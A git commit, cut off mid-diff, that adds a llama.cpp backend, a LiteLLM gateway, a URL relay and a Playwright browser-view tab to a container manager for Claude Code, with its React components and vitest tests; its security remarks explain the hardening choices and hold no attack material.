Add llama.cpp backend, model gateway, URL relay and browser view
Four features, plus a latent bug fix.
llama.cpp backend. Claude Code only ever speaks the Anthropic Messages
API — confirmed empirically by pointing it at a logging server, which
received POST /v1/messages?beta=true. llama-server implements that
natively (verified in its README, alongside --port default 8080), so
this is a plain base-URL backend with no translation shim, the same
shape as Ollama. Its --api-key defaults to none, so the auth token is a
placeholder Claude Code requires and llama-server ignores.
Model alias fix. ANTHROPIC_DEFAULT_HAIKU_MODEL is documented as "also
used for background functionality", and Triple-C set none of the alias
vars. So on every custom-endpoint backend, Claude Code resolved `haiku`
to an Anthropic model id and sent it to a local server that does not
have it — background features failed silently. All four
ANTHROPIC_DEFAULT_{OPUS,SONNET,HAIKU,FABLE}_MODEL vars are now pinned to
the backend's configured model, with an optional Haiku override, and
blanked for Anthropic and Bedrock so those keep Claude Code's defaults.
The deprecated ANTHROPIC_SMALL_FAST_MODEL is never emitted. Existing
Ollama and OpenAI-Compatible containers are recreated once so the new
env reaches them; the snapshot is preserved.
Model gateway. Optional LiteLLM sibling container, off by default,
mirroring stt.rs — this is what makes real OpenAI usable, since
api.openai.com has no /v1/messages. Pinned to v1.96.0 by tag and digest:
the 1.82.7/1.82.8 malware was PyPI-only and never affected the official
images, which is precisely why this builds FROM the image rather than
pip-installing, but 1.84.0 is still the floor for proxy CVEs (API-key
SQLi, Host-header auth bypass, MCP auth bypass). Binds 0.0.0.0 because
project containers consume it, and therefore always sets a master_key —
LiteLLM without one accepts any key. The provider key lives in the OS
keychain and is uploaded into a volume, never an image layer or label.
URL relay. A container-side xdg-open/BROWSER shim opens URLs in the
host's browser. Uses an OSC sequence to /dev/tty rather than a printed
sentinel, because the shim usually runs as a grandchild of a process
capturing its children's output. Degrades to printing the URL when no
terminal is attached, so scheduled tasks do not hang. Only http/https,
with control characters rejected before new URL() — which strips
newlines, so java\nscript: would otherwise parse as javascript:. Nothing
auto-opens; the user confirms. The web terminal shows a tap-to-open
banner instead, since that browser may be a phone across a tunnel.
Browser view. A Project Home tab that watches and takes over the browser
Claude drives with Playwright, using Playwright's own dashboard. Zero
image cost — Playwright stays user-installed. It does not reuse the auth
bridge's PortForward, which binds an unauthenticated port: correct for a
throwaway OAuth listener, wrong for mouse and keyboard control of a
browser in a passwordless-sudo container. Instead a token-gated loopback
proxy checks Host, then token or a forbidden-header origin signal,
before a byte reaches the container. Host ports are confined to
47820..=47827 so CSP frame-src can enumerate them rather than widening
to a wildcard, with a test asserting the two agree.
188 frontend tests, 107 Rust tests, both builds clean.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -0,0 +1,178 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { act, fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
import BrowserTab from "./BrowserTab";
|
||||
import type { BrowserViewStatus, Project } from "../../../lib/types";
|
||||
|
||||
const getBrowserViewStatus = vi.fn<() => Promise<BrowserViewStatus>>();
|
||||
const setBrowserViewEnabled = vi.fn<() => Promise<BrowserViewStatus>>();
|
||||
const pushToast = vi.fn();
|
||||
|
||||
vi.mock("../../../lib/tauri-commands", () => ({
|
||||
getBrowserViewStatus: () => getBrowserViewStatus(),
|
||||
setBrowserViewEnabled: () => setBrowserViewEnabled(),
|
||||
}));
|
||||
|
||||
vi.mock("@tauri-apps/api/event", () => ({
|
||||
listen: vi.fn(async () => () => {}),
|
||||
}));
|
||||
|
||||
vi.mock("../../../store/appState", () => ({
|
||||
useAppState: (selector: (s: unknown) => unknown) => selector({ pushToast }),
|
||||
}));
|
||||
|
||||
const OFF: BrowserViewStatus = {
|
||||
enabled: false,
|
||||
state: "off",
|
||||
url: null,
|
||||
host_port: null,
|
||||
container_port: null,
|
||||
started_at: null,
|
||||
detection: null,
|
||||
message: null,
|
||||
};
|
||||
|
||||
const project: Project = {
|
||||
id: "p1",
|
||||
name: "api-server",
|
||||
paths: [{ host_path: "/home/user/api", mount_name: "api" }],
|
||||
container_id: "c1",
|
||||
status: "running",
|
||||
backend: "anthropic",
|
||||
bedrock_config: null,
|
||||
ollama_config: null,
|
||||
openai_compatible_config: null,
|
||||
allow_docker_access: false,
|
||||
sandbox_mode_enabled: true,
|
||||
mission_control_enabled: false,
|
||||
auth_bridge_enabled: false,
|
||||
use_shared_auth_token: true,
|
||||
full_permissions: false,
|
||||
permission_mode: "bypass",
|
||||
ssh_key_path: null,
|
||||
git_token: null,
|
||||
git_user_name: null,
|
||||
git_user_email: null,
|
||||
custom_env_vars: [],
|
||||
port_mappings: [],
|
||||
claude_instructions: null,
|
||||
claude_code_settings: null,
|
||||
renamed_session_names: {},
|
||||
created_at: "2026-01-01T00:00:00Z",
|
||||
updated_at: "2026-01-01T00:00:00Z",
|
||||
} as unknown as Project;
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
getBrowserViewStatus.mockResolvedValue(OFF);
|
||||
});
|
||||
|
||||
describe("BrowserTab", () => {
|
||||
it("does not offer to start anything while the container is stopped", async () => {
|
||||
render(<BrowserTab project={{ ...project, status: "stopped" }} active />);
|
||||
expect(await screen.findByText(/container isn’t running/i)).toBeInTheDocument();
|
||||
expect(screen.queryByRole("button", { name: /start browser view/i })).toBeNull();
|
||||
expect(getBrowserViewStatus).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("starts off, and never starts a view without being asked", async () => {
|
||||
render(<BrowserTab project={project} active />);
|
||||
await waitFor(() => expect(getBrowserViewStatus).toHaveBeenCalled());
|
||||
expect(screen.getByText("Off")).toBeInTheDocument();
|
||||
expect(screen.queryByTitle(/browser view for/i)).toBeNull();
|
||||
expect(setBrowserViewEnabled).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("shows the live pane, pointed at loopback with a token, once started", async () => {
|
||||
setBrowserViewEnabled.mockResolvedValue({
|
||||
...OFF,
|
||||
enabled: true,
|
||||
state: "running",
|
||||
url: "http://127.0.0.1:47820/index.html?ws=abc&token=SEKRIT",
|
||||
host_port: 47820,
|
||||
container_port: 39321,
|
||||
started_at: "2026-08-09T10:00:00Z",
|
||||
});
|
||||
|
||||
render(<BrowserTab project={project} active />);
|
||||
await waitFor(() => expect(getBrowserViewStatus).toHaveBeenCalled());
|
||||
await act(async () => {
|
||||
fireEvent.click(screen.getByRole("button", { name: /start browser view/i }));
|
||||
});
|
||||
|
||||
const frame = await screen.findByTitle("Playwright browser view for api-server");
|
||||
expect(frame).toHaveAttribute(
|
||||
"src",
|
||||
"http://127.0.0.1:47820/index.html?ws=abc&token=SEKRIT",
|
||||
);
|
||||
expect(screen.getByText("Live")).toBeInTheDocument();
|
||||
expect(screen.getByText(/127\.0\.0\.1:47820 → container :39321/)).toBeInTheDocument();
|
||||
expect(screen.getByRole("button", { name: "Stop" })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("explains precisely what is missing instead of spinning", async () => {
|
||||
getBrowserViewStatus.mockResolvedValue({
|
||||
...OFF,
|
||||
enabled: true,
|
||||
state: "unavailable",
|
||||
message:
|
||||
"Playwright isn't installed in this container. Install it with `npm i -D playwright`.",
|
||||
detection: {
|
||||
node_version: "22.11.0",
|
||||
playwright_version: null,
|
||||
playwright_path: null,
|
||||
has_bind: false,
|
||||
cli_version: null,
|
||||
cli_entry: null,
|
||||
searched: ["/workspace", "/usr/lib/node_modules"],
|
||||
},
|
||||
});
|
||||
|
||||
render(<BrowserTab project={project} active />);
|
||||
|
||||
expect(await screen.findByText(/npm i -D playwright/)).toBeInTheDocument();
|
||||
expect(screen.getByText("Unavailable")).toBeInTheDocument();
|
||||
// The probe's findings are shown, so the user can see why.
|
||||
expect(screen.getByText("22.11.0")).toBeInTheDocument();
|
||||
expect(screen.getByText("not in this build")).toBeInTheDocument();
|
||||
expect(screen.getByText(/usr\/lib\/node_modules/)).toBeInTheDocument();
|
||||
expect(screen.queryByTitle(/browser view for/i)).toBeNull();
|
||||
});
|
||||
|
||||
it("surfaces a start failure rather than leaving the pane blank", async () => {
|
||||
setBrowserViewEnabled.mockRejectedValue("container went away");
|
||||
|
||||
render(<BrowserTab project={project} active />);
|
||||
await waitFor(() => expect(getBrowserViewStatus).toHaveBeenCalled());
|
||||
await act(async () => {
|
||||
fireEvent.click(screen.getByRole("button", { name: /start browser view/i }));
|
||||
});
|
||||
|
||||
expect(await screen.findByText(/didn’t start/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/container went away/)).toBeInTheDocument();
|
||||
expect(pushToast).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ kind: "error" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("stops the view when asked", async () => {
|
||||
getBrowserViewStatus.mockResolvedValue({
|
||||
...OFF,
|
||||
enabled: true,
|
||||
state: "running",
|
||||
url: "http://127.0.0.1:47821/?token=T",
|
||||
host_port: 47821,
|
||||
container_port: 39321,
|
||||
});
|
||||
setBrowserViewEnabled.mockResolvedValue(OFF);
|
||||
|
||||
render(<BrowserTab project={project} active />);
|
||||
const stop = await screen.findByRole("button", { name: "Stop" });
|
||||
await act(async () => {
|
||||
fireEvent.click(stop);
|
||||
});
|
||||
|
||||
await waitFor(() => expect(setBrowserViewEnabled).toHaveBeenCalled());
|
||||
expect(await screen.findByText("Off")).toBeInTheDocument();
|
||||
expect(screen.queryByTitle(/browser view for/i)).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,261 @@
|
||||
import { useCallback, useEffect, useRef, useState } from "react";
|
||||
import { listen } from "@tauri-apps/api/event";
|
||||
import type {
|
||||
BrowserViewChangedEvent,
|
||||
BrowserViewStatus,
|
||||
Project,
|
||||
} from "../../../lib/types";
|
||||
import {
|
||||
getBrowserViewStatus,
|
||||
setBrowserViewEnabled,
|
||||
} from "../../../lib/tauri-commands";
|
||||
import { useAppState } from "../../../store/appState";
|
||||
import Button from "../../ui/Button";
|
||||
import StatusIndicator from "../../ui/StatusIndicator";
|
||||
|
||||
interface Props {
|
||||
project: Project;
|
||||
active: boolean;
|
||||
}
|
||||
|
||||
const OFF: BrowserViewStatus = {
|
||||
enabled: false,
|
||||
state: "off",
|
||||
url: null,
|
||||
host_port: null,
|
||||
container_port: null,
|
||||
started_at: null,
|
||||
detection: null,
|
||||
message: null,
|
||||
};
|
||||
|
||||
/**
|
||||
* Watch — and take over — the browser Claude is driving with Playwright inside
|
||||
* the container.
|
||||
*
|
||||
* The pane is an iframe onto Playwright's own live dashboard, which runs in the
|
||||
* container and is reached through a token-gated listener on the host's
|
||||
* loopback. Nothing starts until the user asks: this is remote control of a
|
||||
* browser in a privileged sandbox, so it is off by default and opted into per
|
||||
* project, exactly like the auth bridge.
|
||||
*/
|
||||
export default function BrowserTab({ project, active }: Props) {
|
||||
const [status, setStatus] = useState<BrowserViewStatus>(OFF);
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
/** Bumped to force the iframe to reload without changing its src. */
|
||||
const [reloadKey, setReloadKey] = useState(0);
|
||||
const pushToast = useAppState((s) => s.pushToast);
|
||||
const running = project.status === "running";
|
||||
|
||||
// The backend is the source of truth: it emits whenever a view starts or is
|
||||
// torn down (container stopped, project removed, viewer died).
|
||||
const projectId = project.id;
|
||||
const mounted = useRef(true);
|
||||
useEffect(() => {
|
||||
mounted.current = true;
|
||||
return () => {
|
||||
mounted.current = false;
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
let dispose: (() => void) | undefined;
|
||||
listen<BrowserViewChangedEvent>("browser-view-changed", (event) => {
|
||||
if (event.payload.project_id === projectId && mounted.current) {
|
||||
setStatus(event.payload.status);
|
||||
}
|
||||
}).then((un) => {
|
||||
if (mounted.current) dispose = un;
|
||||
else un();
|
||||
});
|
||||
return () => dispose?.();
|
||||
}, [projectId]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!active || !running) return;
|
||||
getBrowserViewStatus(projectId)
|
||||
.then((s) => mounted.current && setStatus(s))
|
||||
.catch(() => {});
|
||||
}, [active, projectId, running]);
|
||||
|
||||
const toggle = useCallback(
|
||||
async (next: boolean) => {
|
||||
setBusy(true);
|
||||
setError(null);
|
||||
try {
|
||||
const result = await setBrowserViewEnabled(projectId, next);
|
||||
if (mounted.current) setStatus(result);
|
||||
} catch (e) {
|
||||
const detail = String(e);
|
||||
if (mounted.current) setError(detail);
|
||||
pushToast({
|
||||
kind: "error",
|
||||
message: next ? "Could not start the browser view" : "Could not stop the browser view",
|
||||
detail,
|
||||
});
|
||||
} finally {
|
||||
if (mounted.current) setBusy(false);
|
||||
}
|
||||
},
|
||||
[projectId, pushToast],
|
||||
);
|
||||
|
||||
// A stopped container can't be hosting a browser, so say that plainly rather
|
||||
// than offering a control that would only fail.
|
||||
if (!running) {
|
||||
return (
|
||||
<Explainer title="The container isn’t running.">
|
||||
Start the container, have Claude drive a browser with Playwright, then come
|
||||
back here to watch it.
|
||||
</Explainer>
|
||||
);
|
||||
}
|
||||
|
||||
const live = status.state === "running" && status.url;
|
||||
|
||||
return (
|
||||
<div className="flex flex-col h-full min-h-0">
|
||||
<div className="flex items-center gap-2 px-4 py-2 border-b border-[var(--border-color)] flex-shrink-0 flex-wrap">
|
||||
<StatusIndicator
|
||||
tone={
|
||||
busy
|
||||
? "busy"
|
||||
: status.state === "running"
|
||||
? "running"
|
||||
: status.state === "unavailable"
|
||||
? "error"
|
||||
: "off"
|
||||
}
|
||||
label={
|
||||
busy
|
||||
? "Starting"
|
||||
: status.state === "running"
|
||||
? "Live"
|
||||
: status.state === "unavailable"
|
||||
? "Unavailable"
|
||||
: "Off"
|
||||
}
|
||||
/>
|
||||
{live && (
|
||||
<span className="text-xs text-[var(--text-secondary)] font-mono truncate">
|
||||
127.0.0.1:{status.host_port} → container :{status.container_port}
|
||||
</span>
|
||||
)}
|
||||
<div className="flex-1" />
|
||||
{live && (
|
||||
<Button size="md" onClick={() => setReloadKey((k) => k + 1)}>
|
||||
Reload
|
||||
</Button>
|
||||
)}
|
||||
<Button
|
||||
size="md"
|
||||
variant={live ? "secondary" : "primary"}
|
||||
disabled={busy}
|
||||
onClick={() => toggle(!status.enabled || status.state !== "running")}
|
||||
>
|
||||
{busy ? "Working…" : live ? "Stop" : "Start browser view"}
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
{live ? (
|
||||
<iframe
|
||||
key={reloadKey}
|
||||
// Loopback only, and the URL carries the one-time session token the
|
||||
// host-side gate checks before anything reaches the container.
|
||||
src={status.url ?? undefined}
|
||||
title={`Playwright browser view for ${project.name}`}
|
||||
className="flex-1 min-h-0 w-full border-0 bg-[var(--bg-primary)]"
|
||||
/>
|
||||
) : (
|
||||
<div className="flex-1 min-h-0 overflow-y-auto">
|
||||
{status.state === "unavailable" ? (
|
||||
<Unavailable status={status} />
|
||||
) : error ? (
|
||||
<Explainer title="The browser view didn’t start." tone="error">
|
||||
<span className="font-mono text-xs break-words">{error}</span>
|
||||
</Explainer>
|
||||
) : (
|
||||
<Explainer title="Nothing is being watched yet.">
|
||||
Start the view to run Playwright’s live dashboard inside this container
|
||||
and mirror it here. You’ll see any browser a script has published with{" "}
|
||||
<Code>await browser.bind('claude')</Code> — and{" "}
|
||||
<Code>@playwright/mcp</Code> publishes automatically, so nothing extra is
|
||||
needed if Claude is using that.
|
||||
</Explainer>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** The container can't serve a view — say exactly what is missing. */
|
||||
function Unavailable({ status }: { status: BrowserViewStatus }) {
|
||||
const d = status.detection;
|
||||
return (
|
||||
<div className="p-4 max-w-[46rem] space-y-3">
|
||||
<h2 className="text-[13px] font-semibold text-[var(--text-primary)]">
|
||||
This container can’t serve a browser view yet
|
||||
</h2>
|
||||
<p className="text-[13px] text-[var(--text-secondary)] leading-relaxed">
|
||||
{status.message}
|
||||
</p>
|
||||
{d && (
|
||||
<dl className="text-xs grid grid-cols-[auto_1fr] gap-x-3 gap-y-1 pt-2 border-t border-[var(--border-color)]">
|
||||
<Detail label="Node.js" value={d.node_version} />
|
||||
<Detail label="Playwright" value={d.playwright_version} />
|
||||
<Detail label="browser.bind()" value={d.has_bind ? "available" : "not in this build"} />
|
||||
<Detail label="@playwright/cli" value={d.cli_version} />
|
||||
{d.searched.length > 0 && (
|
||||
<Detail label="Searched" value={d.searched.join(", ")} />
|
||||
)}
|
||||
</dl>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function Detail({ label, value }: { label: string; value: string | null }) {
|
||||
return (
|
||||
<>
|
||||
<dt className="text-[var(--text-secondary)]">{label}</dt>
|
||||
<dd className="font-mono text-[var(--text-primary)] break-all">
|
||||
{value ?? "not found"}
|
||||
</dd>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
function Explainer({
|
||||
title,
|
||||
tone = "normal",
|
||||
children,
|
||||
}: {
|
||||
title: string;
|
||||
tone?: "normal" | "error";
|
||||
children: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<div className="p-4 max-w-[46rem]">
|
||||
<h2
|
||||
className={`text-[13px] font-semibold ${
|
||||
tone === "error" ? "text-[var(--error)]" : "text-[var(--text-primary)]"
|
||||
}`}
|
||||
>
|
||||
{title}
|
||||
</h2>
|
||||
<p className="mt-1 text-[13px] text-[var(--text-secondary)] leading-relaxed">
|
||||
{children}
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function Code({ children }: { children: React.ReactNode }) {
|
||||
return (
|
||||
<code className="font-mono text-xs px-1 py-0.5 rounded-[var(--radius-control)] bg-[var(--bg-tertiary)] text-[var(--text-primary)]">
|
||||
{children}
|
||||
</code>
|
||||
);
|
||||
}
|
||||
@@ -21,6 +21,7 @@ const BACKEND_LABEL: Record<Project["backend"], string> = {
|
||||
anthropic: "Anthropic",
|
||||
bedrock: "AWS Bedrock",
|
||||
ollama: "Ollama",
|
||||
llama_cpp: "llama.cpp",
|
||||
open_ai_compatible: "OpenAI Compatible",
|
||||
};
|
||||
|
||||
|
||||
@@ -14,6 +14,7 @@ import SessionsTab from "./SessionsTab";
|
||||
import AutomationTab from "./AutomationTab";
|
||||
import ConfigTab from "./ConfigTab";
|
||||
import FilesTab from "./FilesTab";
|
||||
import BrowserTab from "./BrowserTab";
|
||||
import { formatUptime } from "./format";
|
||||
|
||||
const TABS = [
|
||||
@@ -22,6 +23,7 @@ const TABS = [
|
||||
{ id: "automation", label: "Automation" },
|
||||
{ id: "config", label: "Config" },
|
||||
{ id: "files", label: "Files" },
|
||||
{ id: "browser", label: "Browser" },
|
||||
] as const;
|
||||
|
||||
export type ProjectHomeTabId = (typeof TABS)[number]["id"];
|
||||
@@ -206,6 +208,9 @@ export default function ProjectHome({ projectId, active }: Props) {
|
||||
<ConfigTab project={project} save={save} saveState={saveState} />
|
||||
)}
|
||||
{tab === "files" && <FilesTab project={project} />}
|
||||
{tab === "browser" && (
|
||||
<BrowserTab project={project} active={active && tab === "browser"} />
|
||||
)}
|
||||
</div>
|
||||
|
||||
{confirmReset && (
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { render, screen, fireEvent } from "@testing-library/react";
|
||||
import ModelSection from "./ModelSection";
|
||||
import ModelSection, {
|
||||
DEFAULT_LLAMACPP_CONFIG,
|
||||
DEFAULT_OLLAMA_CONFIG,
|
||||
} from "./ModelSection";
|
||||
import { CUSTOM_ENDPOINT_BACKENDS } from "../../../../lib/types";
|
||||
import type { Backend, Project } from "../../../../lib/types";
|
||||
|
||||
const baseProject: Project = {
|
||||
@@ -12,6 +16,7 @@ const baseProject: Project = {
|
||||
backend: "anthropic",
|
||||
bedrock_config: null,
|
||||
ollama_config: null,
|
||||
llamacpp_config: null,
|
||||
openai_compatible_config: null,
|
||||
allow_docker_access: false,
|
||||
sandbox_mode_enabled: true,
|
||||
@@ -55,7 +60,7 @@ describe("ModelSection — shared auth token toggle", () => {
|
||||
expect(screen.getByRole("switch", { name: TOGGLE })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it.each<Backend>(["bedrock", "ollama", "open_ai_compatible"])(
|
||||
it.each<Backend>(["bedrock", "ollama", "llama_cpp", "open_ai_compatible"])(
|
||||
"is hidden for the %s backend",
|
||||
(backend) => {
|
||||
renderSection({ backend });
|
||||
@@ -93,3 +98,118 @@ describe("ModelSection — shared auth token toggle", () => {
|
||||
expect(screen.getByRole("switch", { name: TOGGLE })).toBeDisabled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("ModelSection — llama.cpp backend", () => {
|
||||
beforeEach(() => vi.clearAllMocks());
|
||||
|
||||
it("is offered as a backend choice", () => {
|
||||
renderSection();
|
||||
expect(
|
||||
screen.getByRole("option", { name: "llama.cpp" }),
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("seeds llama-server's default port when the backend is first chosen", () => {
|
||||
renderSection();
|
||||
fireEvent.change(screen.getByLabelText("Backend"), {
|
||||
target: { value: "llama_cpp" },
|
||||
});
|
||||
expect(save).toHaveBeenCalledWith({
|
||||
backend: "llama_cpp",
|
||||
llamacpp_config: DEFAULT_LLAMACPP_CONFIG,
|
||||
});
|
||||
expect(DEFAULT_LLAMACPP_CONFIG.base_url).toContain(":8080");
|
||||
});
|
||||
|
||||
it("does not clobber an existing config when re-selected", () => {
|
||||
renderSection({
|
||||
backend: "ollama",
|
||||
llamacpp_config: {
|
||||
base_url: "http://gpu-box:9090",
|
||||
model_id: "mine",
|
||||
haiku_model_id: null,
|
||||
},
|
||||
});
|
||||
fireEvent.change(screen.getByLabelText("Backend"), {
|
||||
target: { value: "llama_cpp" },
|
||||
});
|
||||
expect(save).toHaveBeenCalledWith({ backend: "llama_cpp" });
|
||||
});
|
||||
|
||||
it("saves the base URL and model on blur", () => {
|
||||
renderSection({ backend: "llama_cpp" });
|
||||
|
||||
const url = screen.getByLabelText("Base URL");
|
||||
fireEvent.change(url, { target: { value: "http://gpu-box:8080" } });
|
||||
fireEvent.blur(url);
|
||||
expect(save).toHaveBeenCalledWith({
|
||||
llamacpp_config: { ...DEFAULT_LLAMACPP_CONFIG, base_url: "http://gpu-box:8080" },
|
||||
});
|
||||
|
||||
const model = screen.getByLabelText("Model");
|
||||
fireEvent.change(model, { target: { value: "qwen3.5-coder-30b" } });
|
||||
fireEvent.blur(model);
|
||||
expect(save).toHaveBeenCalledWith({
|
||||
llamacpp_config: { ...DEFAULT_LLAMACPP_CONFIG, model_id: "qwen3.5-coder-30b" },
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("ModelSection — background (haiku) model override", () => {
|
||||
beforeEach(() => vi.clearAllMocks());
|
||||
|
||||
it("covers exactly the backends that point at a custom endpoint", () => {
|
||||
expect([...CUSTOM_ENDPOINT_BACKENDS]).toEqual([
|
||||
"ollama",
|
||||
"llama_cpp",
|
||||
"open_ai_compatible",
|
||||
]);
|
||||
});
|
||||
|
||||
it.each([...CUSTOM_ENDPOINT_BACKENDS])("is offered for the %s backend", (backend) => {
|
||||
renderSection({ backend });
|
||||
const field = screen.getByLabelText("Background model");
|
||||
expect(field).toBeInTheDocument();
|
||||
// Blank is the documented default — it reuses the main model.
|
||||
expect(field).toHaveValue("");
|
||||
expect(field).toHaveAttribute("placeholder", "(same as the model above)");
|
||||
});
|
||||
|
||||
it.each<Backend>(["anthropic", "bedrock"])(
|
||||
"is not offered for the %s backend, which keeps Claude Code's defaults",
|
||||
(backend) => {
|
||||
renderSection({ backend });
|
||||
expect(screen.queryByLabelText("Background model")).not.toBeInTheDocument();
|
||||
},
|
||||
);
|
||||
|
||||
it("saves a trimmed override, and clears it back to null when blanked", () => {
|
||||
renderSection({ backend: "ollama" });
|
||||
const field = screen.getByLabelText("Background model");
|
||||
|
||||
fireEvent.change(field, { target: { value: " qwen3.5:3b " } });
|
||||
fireEvent.blur(field);
|
||||
expect(save).toHaveBeenCalledWith({
|
||||
ollama_config: { ...DEFAULT_OLLAMA_CONFIG, haiku_model_id: "qwen3.5:3b" },
|
||||
});
|
||||
|
||||
fireEvent.change(field, { target: { value: " " } });
|
||||
fireEvent.blur(field);
|
||||
expect(save).toHaveBeenCalledWith({
|
||||
ollama_config: { ...DEFAULT_OLLAMA_CONFIG, haiku_model_id: null },
|
||||
});
|
||||
});
|
||||
|
||||
it("shows an existing override and explains what it is for", () => {
|
||||
renderSection({
|
||||
backend: "llama_cpp",
|
||||
llamacpp_config: {
|
||||
base_url: "http://host.docker.internal:8080",
|
||||
model_id: "big",
|
||||
haiku_model_id: "small",
|
||||
},
|
||||
});
|
||||
expect(screen.getByLabelText("Background model")).toHaveValue("small");
|
||||
expect(screen.getByText(/background work/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -3,6 +3,7 @@ import type {
|
||||
Backend,
|
||||
BedrockAuthMethod,
|
||||
BedrockConfig,
|
||||
LlamaCppConfig,
|
||||
OllamaConfig,
|
||||
OpenAiCompatibleConfig,
|
||||
Project,
|
||||
@@ -31,14 +32,28 @@ export const DEFAULT_BEDROCK_CONFIG: BedrockConfig = {
|
||||
export const DEFAULT_OLLAMA_CONFIG: OllamaConfig = {
|
||||
base_url: "http://host.docker.internal:11434",
|
||||
model_id: null,
|
||||
haiku_model_id: null,
|
||||
};
|
||||
|
||||
/** `llama-server` listens on port 8080 unless `--port` says otherwise. */
|
||||
export const DEFAULT_LLAMACPP_CONFIG: LlamaCppConfig = {
|
||||
base_url: "http://host.docker.internal:8080",
|
||||
model_id: null,
|
||||
haiku_model_id: null,
|
||||
};
|
||||
|
||||
export const DEFAULT_OPENAI_COMPATIBLE_CONFIG: OpenAiCompatibleConfig = {
|
||||
base_url: "http://host.docker.internal:4000",
|
||||
api_key: null,
|
||||
model_id: null,
|
||||
haiku_model_id: null,
|
||||
};
|
||||
|
||||
/** Shown under the optional per-backend Haiku override. Kept in one place so
|
||||
* all three custom-endpoint backends explain it identically. */
|
||||
const HAIKU_HINT =
|
||||
"Optional. Claude Code resolves the `haiku` alias to this, and uses it for background work such as conversation titles. Leave blank to reuse the model above — that is what stops background calls failing against a server that only serves one model.";
|
||||
|
||||
interface Props {
|
||||
project: Project;
|
||||
save: (patch: Partial<Project>) => Promise<boolean>;
|
||||
@@ -64,6 +79,19 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
const [ollamaModelId, setOllamaModelId] = useState(
|
||||
project.ollama_config?.model_id ?? "",
|
||||
);
|
||||
const [ollamaHaikuModelId, setOllamaHaikuModelId] = useState(
|
||||
project.ollama_config?.haiku_model_id ?? "",
|
||||
);
|
||||
|
||||
const [llamaCppBaseUrl, setLlamaCppBaseUrl] = useState(
|
||||
project.llamacpp_config?.base_url ?? DEFAULT_LLAMACPP_CONFIG.base_url,
|
||||
);
|
||||
const [llamaCppModelId, setLlamaCppModelId] = useState(
|
||||
project.llamacpp_config?.model_id ?? "",
|
||||
);
|
||||
const [llamaCppHaikuModelId, setLlamaCppHaikuModelId] = useState(
|
||||
project.llamacpp_config?.haiku_model_id ?? "",
|
||||
);
|
||||
|
||||
const [oaiBaseUrl, setOaiBaseUrl] = useState(
|
||||
project.openai_compatible_config?.base_url ??
|
||||
@@ -75,6 +103,9 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
const [oaiModelId, setOaiModelId] = useState(
|
||||
project.openai_compatible_config?.model_id ?? "",
|
||||
);
|
||||
const [oaiHaikuModelId, setOaiHaikuModelId] = useState(
|
||||
project.openai_compatible_config?.haiku_model_id ?? "",
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
const bc = project.bedrock_config ?? DEFAULT_BEDROCK_CONFIG;
|
||||
@@ -88,12 +119,19 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
setServiceTier(bc.service_tier ?? "");
|
||||
setOllamaBaseUrl(project.ollama_config?.base_url ?? DEFAULT_OLLAMA_CONFIG.base_url);
|
||||
setOllamaModelId(project.ollama_config?.model_id ?? "");
|
||||
setOllamaHaikuModelId(project.ollama_config?.haiku_model_id ?? "");
|
||||
setLlamaCppBaseUrl(
|
||||
project.llamacpp_config?.base_url ?? DEFAULT_LLAMACPP_CONFIG.base_url,
|
||||
);
|
||||
setLlamaCppModelId(project.llamacpp_config?.model_id ?? "");
|
||||
setLlamaCppHaikuModelId(project.llamacpp_config?.haiku_model_id ?? "");
|
||||
setOaiBaseUrl(
|
||||
project.openai_compatible_config?.base_url ??
|
||||
DEFAULT_OPENAI_COMPATIBLE_CONFIG.base_url,
|
||||
);
|
||||
setOaiApiKey(project.openai_compatible_config?.api_key ?? "");
|
||||
setOaiModelId(project.openai_compatible_config?.model_id ?? "");
|
||||
setOaiHaikuModelId(project.openai_compatible_config?.haiku_model_id ?? "");
|
||||
}, [project]);
|
||||
|
||||
const saveBedrock = (patch: Partial<BedrockConfig>) =>
|
||||
@@ -104,6 +142,14 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
ollama_config: { ...(project.ollama_config ?? DEFAULT_OLLAMA_CONFIG), ...patch },
|
||||
});
|
||||
|
||||
const saveLlamaCpp = (patch: Partial<LlamaCppConfig>) =>
|
||||
save({
|
||||
llamacpp_config: {
|
||||
...(project.llamacpp_config ?? DEFAULT_LLAMACPP_CONFIG),
|
||||
...patch,
|
||||
},
|
||||
});
|
||||
|
||||
const saveOpenAi = (patch: Partial<OpenAiCompatibleConfig>) =>
|
||||
save({
|
||||
openai_compatible_config: {
|
||||
@@ -122,6 +168,8 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
patch.bedrock_config = DEFAULT_BEDROCK_CONFIG;
|
||||
